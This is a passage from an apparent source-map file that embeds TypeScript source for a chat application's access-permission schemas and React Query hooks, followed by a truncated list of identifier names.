'remoteAgent_editor',\n REMOTE_AGENT_OWNER = 'remoteAgent_owner',\n}\n\n// ===== ZOD SCHEMAS =====\n\n/**\n * Principal schema - represents a user, group, role, or public access\n */\nexport const principalSchema = z.object({\n type: z.nativeEnum(PrincipalType),\n id: z.string().optional(), // undefined for 'public' type, role name for 'role' type\n name: z.string().optional(),\n email: z.string().optional(), // for user and group types\n source: z.enum(['local', 'entra']).optional(),\n avatar: z.string().optional(), // for user and group types\n description: z.string().optional(), // for group and role types\n idOnTheSource: z.string().optional(), // Entra ID for users/groups\n accessRoleId: z.nativeEnum(AccessRoleIds).optional(), // Access role ID for permissions\n memberCount: z.number().optional(), // for group type\n});\n\n/**\n * Access role schema - defines named permission sets\n */\nexport const accessRoleSchema = z.object({\n accessRoleId: z.nativeEnum(AccessRoleIds),\n name: z.string(),\n description: z.string().optional(),\n resourceType: z.nativeEnum(ResourceType).default(ResourceType.AGENT),\n permBits: z.number(),\n});\n\n/**\n * Permission entry schema - represents a single ACL entry\n */\nexport const permissionEntrySchema = z.object({\n id: z.string(),\n principalType: z.nativeEnum(PrincipalType),\n principalId: z.string().optional(), // undefined for 'public'\n principalName: z.string().optional(),\n role: accessRoleSchema,\n grantedBy: z.string(),\n grantedAt: z.string(), // ISO date string\n inheritedFrom: z.string().optional(), // for project-level inheritance\n source: z.enum(['local', 'entra']).optional(),\n});\n\n/**\n * Resource permissions response schema\n */\nexport const resourcePermissionsResponseSchema = z.object({\n resourceType: z.nativeEnum(ResourceType),\n resourceId: z.string(),\n permissions: z.array(permissionEntrySchema),\n});\n\n/**\n * Update resource permissions request schema\n * This matches the user's requirement for the frontend DTO structure\n */\nexport const updateResourcePermissionsRequestSchema = z.object({\n updated: principalSchema.array(),\n removed: principalSchema.array(),\n public: z.boolean(),\n publicAccessRoleId: z.string().optional(),\n});\n\n/**\n * Update resource permissions response schema\n * Returns the updated permissions with accessRoleId included\n */\nexport const updateResourcePermissionsResponseSchema = z.object({\n message: z.string(),\n results: z.object({\n principals: principalSchema.array(),\n public: z.boolean(),\n publicAccessRoleId: z.string().optional(),\n }),\n});\n\n// ===== TYPESCRIPT TYPES =====\n\n/**\n * Principal - represents a user, group, or public access\n */\nexport type TPrincipal = z.infer<typeof principalSchema>;\n\n/**\n * Access role - defines named permission sets\n */\nexport type TAccessRole = z.infer<typeof accessRoleSchema>;\n\n/**\n * Permission entry - represents a single ACL entry\n */\nexport type TPermissionEntry = z.infer<typeof permissionEntrySchema>;\n\n/**\n * Resource permissions response\n */\nexport type TResourcePermissionsResponse = z.infer<typeof resourcePermissionsResponseSchema>;\n\n/**\n * Update resource permissions request\n * This matches the user's requirement for the frontend DTO structure\n */\nexport type TUpdateResourcePermissionsRequest = z.infer<\n typeof updateResourcePermissionsRequestSchema\n>;\n\n/**\n * Update resource permissions response\n * Returns the updated permissions with accessRoleId included\n */\nexport type TUpdateResourcePermissionsResponse = z.infer<\n typeof updateResourcePermissionsResponseSchema\n>;\n\n/**\n * Principal search request parameters\n */\nexport type TPrincipalSearchParams = {\n q: string;\n limit?: number;\n types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE>;\n};\n\n/**\n * Principal search result item\n */\nexport type TPrincipalSearchResult = {\n id?: string | null; // null for Entra ID principals that don't exist locally yet\n type: PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE;\n name: string;\n email?: string; // for users and groups\n username?: string; // for users\n avatar?: string; // for users and groups\n provider?: string; // for users\n source: 'local' | 'entra';\n memberCount?: number; // for groups\n description?: string; // for groups\n idOnTheSource?: string; // Entra ID for users (maps to openidId) and groups (maps to idOnTheSource)\n};\n\n/**\n * Principal search response\n */\nexport type TPrincipalSearchResponse = {\n query: string;\n limit: number;\n types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE> | null;\n results: TPrincipalSearchResult[];\n count: number;\n sources: {\n local: number;\n entra: number;\n };\n};\n\n/**\n * Available roles response\n */\nexport type TAvailableRolesResponse = {\n resourceType: ResourceType;\n roles: TAccessRole[];\n};\n\n/**\n * Get resource permissions response schema\n * This matches the enhanced aggregation-based endpoint response format\n */\nexport const getResourcePermissionsResponseSchema = z.object({\n resourceType: z.nativeEnum(ResourceType),\n resourceId: z.nativeEnum(AccessRoleIds),\n principals: z.array(principalSchema),\n public: z.boolean(),\n publicAccessRoleId: z.nativeEnum(AccessRoleIds).optional(),\n});\n\n/**\n * Get resource permissions response type\n * This matches the enhanced aggregation-based endpoint response format\n */\nexport type TGetResourcePermissionsResponse = z.infer<typeof getResourcePermissionsResponseSchema>;\n\n/**\n * Effective permissions response schema\n * Returns just the permission bitmask for a user on a resource\n */\nexport const effectivePermissionsResponseSchema = z.object({\n permissionBits: z.number(),\n});\n\n/**\n * Effective permissions response type\n * Returns just the permission bitmask for a user on a resource\n */\nexport type TEffectivePermissionsResponse = z.infer<typeof effectivePermissionsResponseSchema>;\n\n/**\n * All effective permissions response type\n * Map of resourceId to permissionBits for all accessible resources\n */\nexport type TAllEffectivePermissionsResponse = Record<string, number>;\n\n// ===== UTILITY TYPES =====\n\n/**\n * Permission check result\n */\nexport interface TPermissionCheck {\n canView: boolean;\n canEdit: boolean;\n canDelete: boolean;\n canShare: boolean;\n accessLevel: TAccessLevel;\n}\n\n// ===== HELPER FUNCTIONS =====\n\n/**\n * Convert permission bits to access level\n */\nexport function permBitsToAccessLevel(permBits: number): TAccessLevel {\n if ((permBits & PermissionBits.DELETE) > 0) return 'owner';\n if ((permBits & PermissionBits.EDIT) > 0) return 'editor';\n if ((permBits & PermissionBits.VIEW) > 0) return 'viewer';\n return 'none';\n}\n\n/**\n * Convert access role ID to permission bits\n */\nexport function accessRoleToPermBits(accessRoleId: string): number {\n switch (accessRoleId) {\n case AccessRoleIds.AGENT_VIEWER:\n case AccessRoleIds.PROMPTGROUP_VIEWER:\n case AccessRoleIds.MCPSERVER_VIEWER:\n case AccessRoleIds.REMOTE_AGENT_VIEWER:\n return PermissionBits.VIEW;\n case AccessRoleIds.AGENT_EDITOR:\n case AccessRoleIds.PROMPTGROUP_EDITOR:\n case AccessRoleIds.MCPSERVER_EDITOR:\n case AccessRoleIds.REMOTE_AGENT_EDITOR:\n return PermissionBits.VIEW | PermissionBits.EDIT;\n case AccessRoleIds.AGENT_OWNER:\n case AccessRoleIds.PROMPTGROUP_OWNER:\n case AccessRoleIds.MCPSERVER_OWNER:\n case AccessRoleIds.REMOTE_AGENT_OWNER:\n return (\n PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE\n );\n default:\n return PermissionBits.VIEW;\n }\n}\n\n/**\n * Check if permission bitmask contains other bitmask\n * @param permissions - The permission bitmask to check\n * @param requiredPermission - The required permission bit(s)\n * @returns {boolean} Whether permissions contains requiredPermission\n */\nexport function hasPermissions(permissions: number, requiredPermission: number): boolean {\n return (permissions & requiredPermission) === requiredPermission;\n}\n","import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';\nimport type {\n UseQueryOptions,\n UseMutationResult,\n QueryObserverResult,\n} from '@tanstack/react-query';\nimport { Constants, initialModelsConfig } from '../config';\nimport { defaultOrderQuery } from '../types/assistants';\nimport { MCPServerConnectionStatusResponse } from '../types/queries';\nimport * as dataService from '../data-service';\nimport * as m from '../types/mutations';\nimport * as q from '../types/queries';\nimport { QueryKeys } from '../keys';\nimport * as s from '../schemas';\nimport * as t from '../types';\nimport * as permissions from '../accessPermissions';\nimport { ResourceType } from '../accessPermissions';\n\nexport { hasPermissions } from '../accessPermissions';\n\nexport const useGetSharedMessages = (\n shareId: string,\n config?: UseQueryOptions<t.TSharedMessagesResponse>,\n): QueryObserverResult<t.TSharedMessagesResponse> => {\n return useQuery<t.TSharedMessagesResponse>(\n [QueryKeys.sharedMessages, shareId],\n () => dataService.getSharedMessages(shareId),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\nexport const useGetSharedLinkQuery = (\n conversationId: string,\n config?: UseQueryOptions<t.TSharedLinkGetResponse>,\n): QueryObserverResult<t.TSharedLinkGetResponse> => {\n const queryClient = useQueryClient();\n return useQuery<t.TSharedLinkGetResponse>(\n [QueryKeys.sharedLinks, conversationId],\n () => dataService.getSharedLink(conversationId),\n {\n enabled:\n !!conversationId &&\n conversationId !== Constants.NEW_CONVO &&\n conversationId !== Constants.PENDING_CONVO,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n onSuccess: (data) => {\n queryClient.setQueryData([QueryKeys.sharedLinks, conversationId], {\n conversationId: data.conversationId,\n shareId: data.shareId,\n });\n },\n ...config,\n },\n );\n};\n\nexport const useGetConversationByIdQuery = (\n id: string,\n config?: UseQueryOptions<s.TConversation>,\n): QueryObserverResult<s.TConversation> => {\n return useQuery<s.TConversation>(\n [QueryKeys.conversation, id],\n () => dataService.getConversationById(id),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\n//This isn't ideal because its just a query and we're using mutation, but it was the only way\n//to make it work with how the Chat component is structured\nexport const useGetConversationByIdMutation = (id: string): UseMutationResult<s.TConversation> => {\n const queryClient = useQueryClient();\n return useMutation(() => dataService.getConversationById(id), {\n // onSuccess: (res: s.TConversation) => {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.conversation, id]);\n },\n });\n};\n\nexport const useUpdateMessageMutation = (\n id: string,\n): UseMutationResult<unknown, unknown, t.TUpdateMessageRequest, unknown> => {\n const queryClient = useQueryClient();\n return useMutation((payload: t.TUpdateMessageRequest) => dataService.updateMessage(payload), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.messages, id]);\n },\n });\n};\n\nexport const useUpdateMessageContentMutation = (\n conversationId: string,\n): UseMutationResult<unknown, unknown, t.TUpdateMessageContent, unknown> => {\n const queryClient = useQueryClient();\n return useMutation(\n (payload: t.TUpdateMessageContent) => dataService.updateMessageContent(payload),\n {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.messages, conversationId]);\n },\n },\n );\n};\n\nexport const useUpdateUserKeysMutation = (): UseMutationResult<\n t.TUser,\n unknown,\n t.TUpdateUserKeyRequest,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((payload: t.TUpdateUserKeyRequest) => dataService.updateUserKey(payload), {\n onSuccess: (data, variables) => {\n queryClient.invalidateQueries([QueryKeys.name, variables.name]);\n },\n });\n};\n\nexport const useClearConversationsMutation = (): UseMutationResult<unknown> => {\n const queryClient = useQueryClient();\n return useMutation(() => dataService.clearAllConversations(), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.allConversations]);\n },\n });\n};\n\nexport const useRevokeUserKeyMutation = (name: string): UseMutationResult<unknown> => {\n const queryClient = useQueryClient();\n return useMutation(() => dataService.revokeUserKey(name), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.name, name]);\n if (s.isAssistantsEndpoint(name)) {\n queryClient.invalidateQueries([QueryKeys.assistants, name, defaultOrderQuery]);\n queryClient.invalidateQueries([QueryKeys.assistantDocs]);\n queryClient.invalidateQueries([QueryKeys.assistants]);\n queryClient.invalidateQueries([QueryKeys.assistant]);\n queryClient.invalidateQueries([QueryKeys.mcpTools]);\n queryClient.invalidateQueries([QueryKeys.actions]);\n queryClient.invalidateQueries([QueryKeys.tools]);\n }\n },\n });\n};\n\nexport const useRevokeAllUserKeysMutation = (): UseMutationResult<unknown> => {\n const queryClient = useQueryClient();\n return useMutation(() => dataService.revokeAllUserKeys(), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.name]);\n queryClient.invalidateQueries([\n QueryKeys.assistants,\n s.EModelEndpoint.assistants,\n defaultOrderQuery,\n ]);\n queryClient.invalidateQueries([\n QueryKeys.assistants,\n s.EModelEndpoint.azureAssistants,\n defaultOrderQuery,\n ]);\n queryClient.invalidateQueries([QueryKeys.assistantDocs]);\n queryClient.invalidateQueries([QueryKeys.assistants]);\n queryClient.invalidateQueries([QueryKeys.assistant]);\n queryClient.invalidateQueries([QueryKeys.mcpTools]);\n queryClient.invalidateQueries([QueryKeys.actions]);\n queryClient.invalidateQueries([QueryKeys.tools]);\n },\n });\n};\n\nexport const useGetModelsQuery = (\n config?: UseQueryOptions<t.TModelsConfig>,\n): QueryObserverResult<t.TModelsConfig> => {\n return useQuery<t.TModelsConfig>([QueryKeys.models], () => dataService.getModels(), {\n initialData: initialModelsConfig,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: Infinity,\n ...config,\n });\n};\n\nexport const useCreatePresetMutation = (): UseMutationResult<\n s.TPreset,\n unknown,\n s.TPreset,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((payload: s.TPreset) => dataService.createPreset(payload), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.presets]);\n },\n });\n};\n\nexport const useDeletePresetMutation = (): UseMutationResult<\n m.PresetDeleteResponse,\n unknown,\n s.TPreset | undefined,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((payload: s.TPreset | undefined) => dataService.deletePreset(payload), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.presets]);\n },\n });\n};\n\nexport const useUpdateTokenCountMutation = (): UseMutationResult<\n t.TUpdateTokenCountResponse,\n unknown,\n { text: string },\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation(({ text }: { text: string }) => dataService.updateTokenCount(text), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.tokenCount]);\n },\n });\n};\n\nexport const useRegisterUserMutation = (\n options?: m.RegistrationOptions,\n): UseMutationResult<t.TError, unknown, t.TRegisterUser, unknown> => {\n const queryClient = useQueryClient();\n return useMutation<t.TRegisterUserResponse, t.TError, t.TRegisterUser>(\n (payload: t.TRegisterUser) => dataService.register(payload),\n {\n ...options,\n onSuccess: (...args) => {\n queryClient.invalidateQueries([QueryKeys.user]);\n if (options?.onSuccess) {\n options.onSuccess(...args);\n }\n },\n },\n );\n};\n\nexport const useUserKeyQuery = (\n name: string,\n config?: UseQueryOptions<t.TCheckUserKeyResponse>,\n): QueryObserverResult<t.TCheckUserKeyResponse> => {\n return useQuery<t.TCheckUserKeyResponse>(\n [QueryKeys.name, name],\n () => {\n if (!name) {\n return Promise.resolve({ expiresAt: '' });\n }\n return dataService.userKeyQuery(name);\n },\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n retry: false,\n ...config,\n },\n );\n};\n\nexport const useRequestPasswordResetMutation = (): UseMutationResult<\n t.TRequestPasswordResetResponse,\n unknown,\n t.TRequestPasswordReset,\n unknown\n> => {\n return useMutation((payload: t.TRequestPasswordReset) =>\n dataService.requestPasswordReset(payload),\n );\n};\n\nexport const useResetPasswordMutation = (): UseMutationResult<\n unknown,\n unknown,\n t.TResetPassword,\n unknown\n> => {\n return useMutation((payload: t.TResetPassword) => dataService.resetPassword(payload));\n};\n\nexport const useAvailablePluginsQuery = <TData = s.TPlugin[]>(\n config?: UseQueryOptions<s.TPlugin[], unknown, TData>,\n): QueryObserverResult<TData> => {\n return useQuery<s.TPlugin[], unknown, TData>(\n [QueryKeys.availablePlugins],\n () => dataService.getAvailablePlugins(),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\nexport const useUpdateUserPluginsMutation = (\n _options?: m.UpdatePluginAuthOptions,\n): UseMutationResult<t.TUser, unknown, t.TUpdateUserPlugins, unknown> => {\n const queryClient = useQueryClient();\n const { onSuccess, ...options } = _options ?? {};\n return useMutation((payload: t.TUpdateUserPlugins) => dataService.updateUserPlugins(payload), {\n ...options,\n onSuccess: (...args) => {\n queryClient.invalidateQueries([QueryKeys.user]);\n onSuccess?.(...args);\n if (args[1]?.action === 'uninstall' && args[1]?.pluginKey?.startsWith(Constants.mcp_prefix)) {\n const serverName = args[1]?.pluginKey?.substring(Constants.mcp_prefix.length);\n queryClient.invalidateQueries([QueryKeys.mcpAuthValues, serverName]);\n }\n },\n });\n};\n\nexport const useReinitializeMCPServerMutation = (): UseMutationResult<\n {\n success: boolean;\n message: string;\n serverName: string;\n oauthRequired?: boolean;\n oauthUrl?: string;\n },\n unknown,\n string,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((serverName: string) => dataService.reinitializeMCPServer(serverName), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.mcpTools]);\n },\n });\n};\n\nexport const useCancelMCPOAuthMutation = (): UseMutationResult<\n m.CancelMCPOAuthResponse,\n unknown,\n string,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((serverName: string) => dataService.cancelMCPOAuth(serverName), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.mcpConnectionStatus]);\n },\n });\n};\n\nexport const useGetCustomConfigSpeechQuery = (\n config?: UseQueryOptions<t.TCustomConfigSpeechResponse>,\n): QueryObserverResult<t.TCustomConfigSpeechResponse> => {\n return useQuery<t.TCustomConfigSpeechResponse>(\n [QueryKeys.customConfigSpeech],\n () => dataService.getCustomConfigSpeech(),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\nexport const useUpdateFeedbackMutation = (\n conversationId: string,\n messageId: string,\n): UseMutationResult<t.TUpdateFeedbackResponse, Error, t.TUpdateFeedbackRequest> => {\n const queryClient = useQueryClient();\n return useMutation(\n (payload: t.TUpdateFeedbackRequest) =>\n dataService.updateFeedback(conversationId, messageId, payload),\n {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.messages, messageId]);\n },\n },\n );\n};\n\nexport const useSearchPrincipalsQuery = (\n params: q.PrincipalSearchParams,\n config?: UseQueryOptions<q.PrincipalSearchResponse>,\n): QueryObserverResult<q.PrincipalSearchResponse> => {\n return useQuery<q.PrincipalSearchResponse>(\n [QueryKeys.principalSearch, params],\n () => dataService.searchPrincipals(params),\n {\n enabled: !!params.q && params.q.length >= 2,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: 30000,\n ...config,\n },\n );\n};\n\nexport const useGetAccessRolesQuery = (\n resourceType: ResourceType,\n config?: UseQueryOptions<q.AccessRolesResponse>,\n): QueryObserverResult<q.AccessRolesResponse> => {\n return useQuery<q.AccessRolesResponse>(\n [QueryKeys.accessRoles, resourceType],\n () => dataService.getAccessRoles(resourceType),\n {\n enabled: !!resourceType,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: 5 * 60 * 1000, // Cache for 5 minutes\n ...config,\n },\n );\n};\n\nexport const useGetResourcePermissionsQuery = (\n resourceType: ResourceType,\n resourceId: string,\n config?: UseQueryOptions<permissions.TGetResourcePermissionsResponse>,\n): QueryObserverResult<permissions.TGetResourcePermissionsResponse> => {\n return useQuery<permissions.TGetResourcePermissionsResponse>(\n [QueryKeys.resourcePermissions, resourceType, resourceId],\n () => dataService.getResourcePermissions(resourceType, resourceId),\n {\n enabled: !!resourceType && !!resourceId,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: 2 * 60 * 1000, // Cache for 2 minutes\n ...config,\n },\n );\n};\n\nexport const useUpdateResourcePermissionsMutation = (): UseMutationResult<\n permissions.TUpdateResourcePermissionsResponse,\n Error,\n {\n resourceType: ResourceType;\n resourceId: string;\n data: permissions.TUpdateResourcePermissionsRequest;\n }\n> => {\n const queryClient = useQueryClient();\n\n return useMutation({\n mutationFn: ({ resourceType, resourceId, data }) =>\n dataService.updateResourcePermissions(resourceType, resourceId, data),\n onSuccess: (_, variables) => {\n queryClient.invalidateQueries({\n queryKey: [QueryKeys.accessRoles, variables.resourceType],\n });\n\n queryClient.invalidateQueries({\n queryKey: [QueryKeys.resourcePermissions, variables.resourceType, variables.resourceId],\n });\n\n queryClient.invalidateQueries({\n queryKey: [QueryKeys.effectivePermissions, variables.resourceType, variables.resourceId],\n });\n },\n });\n};\n\nexport const useGetEffectivePermissionsQuery = (\n resourceType: ResourceType,\n resourceId: string,\n config?: UseQueryOptions<permissions.TEffectivePermissionsResponse>,\n): QueryObserverResult<permissions.TEffectivePermissionsResponse> => {\n return useQuery<permissions.TEffectivePermissionsResponse>({\n queryKey: [QueryKeys.effectivePermissions, resourceType, resourceId],\n queryFn: () => dataService.getEffectivePermissions(resourceType, resourceId),\n enabled: !!resourceType && !!resourceId,\n refetchOnWindowFocus: false,\n staleTime: 30000,\n ...config,\n });\n};\n\nexport const useGetAllEffectivePermissionsQuery = (\n resourceType: ResourceType,\n config?: UseQueryOptions<permissions.TAllEffectivePermissionsResponse>,\n): QueryObserverResult<permissions.TAllEffectivePermissionsResponse> => {\n return useQuery<permissions.TAllEffectivePermissionsResponse>({\n queryKey: [QueryKeys.effectivePermissions, 'all', resourceType],\n queryFn: () => dataService.getAllEffectivePermissions(resourceType),\n enabled: !!resourceType,\n refetchOnWindowFocus: false,\n staleTime: 30000,\n ...config,\n });\n};\n\nexport const useMCPServerConnectionStatusQuery = (\n serverName: string,\n config?: UseQueryOptions<MCPServerConnectionStatusResponse>,\n): QueryObserverResult<MCPServerConnectionStatusResponse> => {\n return useQuery<MCPServerConnectionStatusResponse>(\n [QueryKeys.mcpConnectionStatus, serverName],\n () => dataService.getMCPServerConnectionStatus(serverName),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: 10000, // 10 seconds\n enabled: !!serverName,\n ...config,\n },\n );\n};\n\nexport const useGetAgentApiKeysQuery = (\n config?: UseQueryOptions<t.TAgentApiKeyListResponse>,\n): QueryObserverResult<t.TAgentApiKeyListResponse> => {\n return useQuery<t.TAgentApiKeyListResponse>(\n [QueryKeys.agentApiKeys],\n () => dataService.getAgentApiKeys(),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\nexport const useCreateAgentApiKeyMutation = (): UseMutationResult<\n t.TAgentApiKeyCreateResponse,\n unknown,\n t.TAgentApiKeyCreateRequest\n> => {\n const queryClient = useQueryClient();\n return useMutation(\n (payload: t.TAgentApiKeyCreateRequest) => dataService.createAgentApiKey(payload),\n {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.agentApiKeys]);\n },\n },\n );\n};\n\nexport const useDeleteAgentApiKeyMutation = (): UseMutationResult<void, unknown, string> => {\n const queryClient = useQueryClient();\n return useMutation((id: string) => dataService.deleteAgentApiKey(id), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.agentApiKeys]);\n },\n });\n};\n"],"names":["Tools","EToolResources","AnnotationTypes","StepStatus","MessageContentTypes","RunStatus","FilePurpose","AssistantStreamEvents","defaultOrderQuery","order","limit","AuthType","feedbackTagKeySchema","z","enum","feedbackRatingSchema","feedbackSchema","object","rating","tag","text","string","max","optional","uuid","EModelEndpoint","Providers","BedrockProviders","authTypeSchema","nativeEnum","Set","anthropic","openAI","bedrock","custom","google","VERTEXAI","MISTRALAI","MISTRAL","DEEPSEEK","MOONSHOT","OPENROUTER","XAI","OPENAI","AZURE","agents","azureOpenAI","ImageDetail","ReasoningEffort","AnthropicEffort","BedrockReasoningConfig","ReasoningSummary","Verbosity","ThinkingLevel","_a","low","auto","high","eImageDetailSchema","eReasoningEffortSchema","eAnthropicEffortSchema","eReasoningSummarySchema","eVerbositySchema","eThinkingLevelSchema","_b","agent","id","name","description","instructions","model","model_parameters","tools","tool_options","provider","edges","artifacts","recursion_limit","undefined","execute_code","file_search","web_search","category","support_contact","email","type","function","parameters","properties","required","openAISettings","default","temperature","min","step","top_p","presence_penalty","frequency_penalty","resendFiles","maxContextTokens","max_tokens","imageDetail","googleSettings","maxOutputTokens","topP","topK","thinking","thinkingBudget","thinkingLevel","unset","ANTHROPIC_MAX_OUTPUT","CLAUDE_4_64K_MAX_OUTPUT","CLAUDE_32K_MAX_OUTPUT","anthropicSettings","promptCache","reset","modelName","test","set","value","legacy","effort","options","medium","agentsSettings","_d","eModelEndpointSchema","extendedModelEndpointSchema","union","tPluginAuthConfigSchema","authField","label","boolean","tPluginSchema","pluginKey","icon","authConfig","array","authenticated","chatMenu","isButton","toolkit","tExampleSchema","input","content","output","messageId","endpoint","clientId","nullable","conversationId","parentMessageId","responseMessageId","overrideParentMessageId","bg","title","or","literal","sender","generation","isCreatedByUser","error","clientTimestamp","createdAt","Date","toISOString","updatedAt","current","unfinished","searchResult","finish_reason","thread_id","iconURL","feedback","metadata","record","unknown","contextMeta","calibrationRatio","number","describe","encoding","coerceNumber","transform","val","trim","parseFloat","DocumentType","lazy","null","tConversationSchema","endpointType","isArchived","user","messages","modelLabel","userLabel","promptPrefix","system","stream","context","examples","tags","file_ids","reasoning_effort","reasoning_summary","verbosity","useResponsesApi","disableStreaming","assistant_id","agent_id","region","maxTokens","additionalModelRequestFields","additional_instructions","append_current_datetime","presetOverride","stop","greeting","spec","expiredAt","fileTokenLimit","resendImages","chatGptLabel","tPresetSchema","omit","merge","presetId","defaultPreset","pick","tModelSpecPresetSchema","shareId","isPublic","_id","count","position","ComponentTypes","SettingTypes","OptionTypes","googleBaseSchema","removeNullishValues","obj","removeEmptyStrings","newObj","__assign","Object","keys","forEach","key","catch","presencePenalty","frequencyPenalty","stopSequences","thinkingConfig","includeThoughts","strip","_c","_e","_f","_g","_h","_j","_k","_l","_m","_o","bannerId","message","displayFrom","displayTo","persistable","tModelSpecSchema","preset","group","groupIcon","showIconInMenu","showIconInHeader","authType","webSearch","fileSearch","executeCode","mcpServers","specsConfigSchema","enforce","prioritize","list","addedEndpoints","envVarRegex","SENSITIVE_ENV_VARS","isSensitiveEnvVar","varName","has","extractEnvVariable","trimmed","singleMatch","match","process","env","regex","result","matches","exec","push","fullMatch","index","i","length","envValue","substring","assistants","azureAssistants","excelFileTypes","__spreadArray","supportedMimeTypes","defaultSizeLimit","assistantsFileConfig","fileLimit","fileSizeLimit","totalSizeLimit","disabled","supportedMimeTypesSchema","any","refine","mimeTypes","every","mimeType","RegExp","endpointFileConfigSchema","fileConfigSchema","endpoints","serverFileSizeLimit","avatarSizeLimit","imageGeneration","percentage","px","clientImageResize","enabled","maxWidth","maxHeight","quality","ocr","BASE_URL","browser","baseEl","document","querySelector","getAttribute","endsWith","slice","apiBaseUrl","messagesRoot","concat","params","rest","__rest","query","entries","filter","Array","isArray","map","v","encodeURIComponent","join","String","buildQuery","shareRoot","keysEndpoint","apiKeysEndpoint","apiKeys","conversationsRoot","LOGIN_PATH_RE","FileSources","FileContext","AuthTypeEnum","AuthorizationTypeEnum","TokenExchangeMethodEnum","speech","BaseOptionsSchema","startup","iconPath","timeout","sseReadTimeout","positive","initTimeout","serverInstructions","requiresOAuth","oauth","authorization_url","url","token_url","client_id","client_secret","scope","redirect_uri","token_exchange_method","grant_types_supported","token_endpoint_auth_methods_supported","response_types_supported","code_challenge_methods_supported","skip_code_challenge_check","revocation_endpoint","revocation_endpoint_auth_methods_supported","oauth_headers","apiKey","source","authorization_type","custom_header","customUserVars","StdioOptionsSchema","extend","command","args","processedEnv","_i","stderr","int","nonnegative","WebSocketOptionsSchema","pipe","protocol","URL","SSEOptionsSchema","headers","StreamableHTTPOptionsSchema","MCPOptionsSchema","MCPServersSchema","omitServerManagedFields","schema","envVarPattern","isHttpProtocol","userUrlSchema","protocolCheck","SettingsViews","Capabilities","AgentCapabilities","fileSourceSchema","fileStrategiesSchema","avatar","image","modelConfigSchema","deploymentName","version","azureBaseSchema","serverless","instanceName","addParams","dropParams","baseURL","additionalHeaders","azureGroupSchema","models","and","azureGroupConfigsSchema","RateLimitPrefix","baseEndpointSchema","streamRate","titlePrompt","titleModel","titleConvo","titleMethod","titleEndpoint","titlePromptTemplate","maxToolResultChars","bedrockEndpointSchema","availableRegions","inferenceProfiles","modelItemSchema","assistantEndpointSchema","disableBuilder","pollIntervalMs","timeoutMs","supportedIds","excludedIds","privateAssistants","retrievalModels","capabilities","code_interpreter","image_vision","retrieval","actions","fetch","userIdQuery","defaultAgentCapabilities","deferred_tools","chain","agentsEndpointSchema","recursionLimit","maxRecursionLimit","maxCitations","maxCitationsPerFile","minRelevanceScore","allowedProviders","endpointSchema","safeParse","success","values","modelDisplayLabel","customParams","defaultParamsEndpoint","paramDefinitions","showLabel","showDefault","range","enumMappings","component","optionType","columnSpan","columns","placeholder","labelCode","placeholderCode","descriptionCode","minText","maxText","minTags","maxTags","includeInput","descriptionSide","searchPlaceholder","selectPlaceholder","searchPlaceholderCode","selectPlaceholderCode","strict","directEndpoint","titleMessageRole","azureEndpointSchema","groups","partial","vertexModelConfigSchema","vertexAISchema","projectId","serviceKeyFile","anthropicEndpointSchema","vertex","ttsOpenaiSchema","voices","ttsAzureOpenAISchema","apiVersion","ttsElevenLabsSchema","websocketUrl","voice_settings","similarity_boost","stability","style","use_speaker_boost","pronunciation_dictionary_locators","ttsLocalaiSchema","backend","ttsSchema","openai","elevenlabs","localai","sttOpenaiSchema","sttAzureOpenAISchema","sttSchema","speechTab","conversationMode","advancedMode","speechToText","engineSTT","languageSTT","autoTranscribeAudio","decibelValue","autoSendText","textToSpeech","engineTTS","voice","languageTTS","automaticPlayback","playbackRate","cacheTTS","EImageOutputType","rateLimitSchema","fileUploads","ipMax","ipWindowInMinutes","userMax","userWindowInMinutes","conversationsImport","tts","stt","OCRStrategy","SearchCategories","SearchProviders","ScraperProviders","RerankerTypes","SafeSearchTypes","termsOfServiceSchema","externalUrl","openNewTab","modalAcceptance","modalTitle","modalContent","localizedStringSchema","mcpServe